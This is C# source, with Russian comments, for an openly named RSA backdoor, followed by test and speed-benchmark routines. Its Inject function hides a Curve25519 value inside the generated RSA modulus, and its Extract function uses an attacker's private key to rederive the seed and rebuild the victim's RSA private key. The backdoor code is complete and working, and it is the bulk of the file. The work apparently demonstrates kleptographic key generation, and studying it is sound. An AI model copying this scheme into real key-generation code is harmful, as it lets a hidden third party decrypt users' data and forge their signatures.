public static Rsa Inject(BigInteger e, int keyLen, int certainty, byte[] publicKey)
{
byte[] privateData = new byte[MontgomeryCurve25519.PrivateKeySizeInBytes];
RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider();
// Генерируем секретное значение для инициализации ГПСЧ
rng.GetBytes(privateData);
// Создаём полезную нагрузку, шифруя seed
byte[] payload = MontgomeryCurve25519.GetPublicKey(privateData);
byte[] seed = MontgomeryCurve25519.KeyExchange(publicKey, privateData);
Rsa rsa = new Rsa(e, keyLen, certainty, new Random(seed.PackToInt()));
Rsa.RsaParams rsap = rsa.Params;
// Вшиваем полезную нагрузку в модуль n
byte[] mod = rsap.n.ToByteArray();
Replace(mod, payload, 80);
BigInteger n = new BigInteger(mod);
// q = NextPrime(n' / p)
rsap.q = (n.Divide(rsap.p)).NextProbablePrime();
if (rsap.p.CompareTo(rsap.q) < 0) // Если q больше p, меняем их местами
{
BigInteger tmp = rsap.p;
rsap.p = rsap.q;
rsap.q = tmp;
}
// Заново считаем остальные параметры
rsa.GenerateKeys(rsap.p, rsap.q);
return(rsa);
}
public static Rsa Extract(BigInteger e, BigInteger mod, int certainty, byte[] privateKey)
{
byte[] modulus = mod.ToByteArray();
byte[] payload = new byte[MontgomeryCurve25519.PublicKeySizeInBytes];
// Вытаскиваем полезную нагрузку и расшифровываем seed
Array.Copy(modulus, 80, payload, 0, 32);
byte[] seed = MontgomeryCurve25519.KeyExchange(payload, privateKey);
Rsa rsa = new Rsa(e, mod.BitLength, certainty, new Random(seed.PackToInt()));
Rsa.RsaParams rsap = rsa.Params;
// Вшиваем полезную нагрузку в модуль n
modulus = rsap.n.ToByteArray();
Replace(modulus, payload, 80);
BigInteger n = new BigInteger(modulus);
// q = NextPrime(n' / p)
rsap.q = (n.Divide(rsap.p)).NextProbablePrime();
if (rsap.p.CompareTo(rsap.q) < 0) // Если q больше p, меняем их местами
{
BigInteger tmp = rsap.p;
rsap.p = rsap.q;
rsap.q = tmp;
}
// Заново считаем остальные параметры
rsa.GenerateKeys(rsap.p, rsap.q);
return(rsa);
}
static void BackdoorSpeedTest(int e, int keyLen, int certainty, string pubKey)
{
byte[] bytes = Encoding.ASCII.GetBytes(SAMPLE);
BigInteger var = new BigInteger(bytes);
Console.WriteLine("[Backdoor] <Speed> test: keyLen = {0}", keyLen);
DateTime start = DateTime.Now;
Rsa backdoored = RsaBackdoor.Inject(BigInteger.ValueOf(e), keyLen, certainty, StrToBytes(pubKey));
BigInteger enc = backdoored.Encrypt(var);
var = backdoored.Decrypt(enc);
TimeSpan timeSpan = DateTime.Now - start;
Console.WriteLine("Time: {0}", timeSpan.TotalMilliseconds);
GC.Collect();
}
static void SpeedTest(int e, int keyLen, int certainty, int seed, bool optimize)
{
byte[] bytes = Encoding.ASCII.GetBytes(SAMPLE);
BigInteger var = new BigInteger(bytes);
Console.WriteLine("<Speed> test: keyLen = {0}, optimize = {1}", keyLen, optimize);
DateTime start = DateTime.Now;
Rsa rsa = new Rsa(BigInteger.ValueOf(e), keyLen, certainty, new Random(seed), optimize);
BigInteger enc = rsa.Encrypt(var);
var = rsa.Decrypt(enc);
TimeSpan timeSpan = DateTime.Now - start;
Console.WriteLine("Time: {0}", timeSpan.TotalMilliseconds);
GC.Collect();
}
static bool BackdoorTest(int e, int keyLen, int certainty, string pubKey, string privKey)
{
Rsa backdoored = RsaBackdoor.Inject(BigInteger.ValueOf(e), keyLen, certainty, StrToBytes(pubKey));
Rsa recovered = RsaBackdoor.Extract(BigInteger.ValueOf(e), backdoored.Params.n, certainty, StrToBytes(privKey));
byte[] result, bytes = Encoding.ASCII.GetBytes(SAMPLE);
BigInteger enc = backdoored.Encrypt(new BigInteger(1, bytes));
try
{
result = recovered.Decrypt(enc).ToByteArray();
}
catch (ArgumentOutOfRangeException)
{
return(false);
}
return(Encoding.ASCII.GetString(result) == SAMPLE);
}
static bool SelfTest(int e, int keyLen, int certainty, bool optimize)
{
Rsa rsa = new Rsa(BigInteger.ValueOf(e), keyLen, certainty, new Random(), optimize);
byte[] result, bytes = Encoding.ASCII.GetBytes(SAMPLE);
BigInteger enc = rsa.Encrypt(new BigInteger(1, bytes));
try
{
result = rsa.Decrypt(enc).ToByteArray();
}
catch (ArgumentOutOfRangeException)
{
return(false);
}
return(Encoding.ASCII.GetString(result) == SAMPLE);
}
static bool OriginTest(int e, int keyLen, int certainty)
{
Rsa testRsa = new Rsa(BigInteger.ValueOf(e), keyLen, certainty, new Random(), true);
RSACryptoServiceProvider origin = new RSACryptoServiceProvider();
RSAParameters originParams = new RSAParameters();
Rsa.RsaParams testParams = testRsa.Params;
originParams.D = testParams.d.ToByteArrayUnsigned();
originParams.Exponent = testParams.e.ToByteArrayUnsigned();
originParams.P = testParams.p.ToByteArrayUnsigned();
originParams.Q = testParams.q.ToByteArrayUnsigned();
originParams.Modulus = testParams.n.ToByteArrayUnsigned();
originParams.DP = testParams.dP.ToByteArrayUnsigned();
originParams.DQ = testParams.dQ.ToByteArrayUnsigned();
originParams.InverseQ = testParams.qInv.ToByteArrayUnsigned();
try
{
origin.ImportParameters(originParams);
}
catch (CryptographicException)
{
return(false);
}
byte[] testBytes = Encoding.ASCII.GetBytes(SAMPLE);
BigInteger src = new BigInteger(1, testBytes);
byte[] originEnc = origin.Encrypt(testBytes, false);
BigInteger testEnc = testRsa.Encrypt(src);
byte[] originDec = origin.Decrypt(originEnc, false);
BigInteger testDec = testRsa.Decrypt(testEnc);
return(Encoding.ASCII.GetString(testDec.ToByteArray()) ==
Encoding.ASCII.GetString(originDec));
}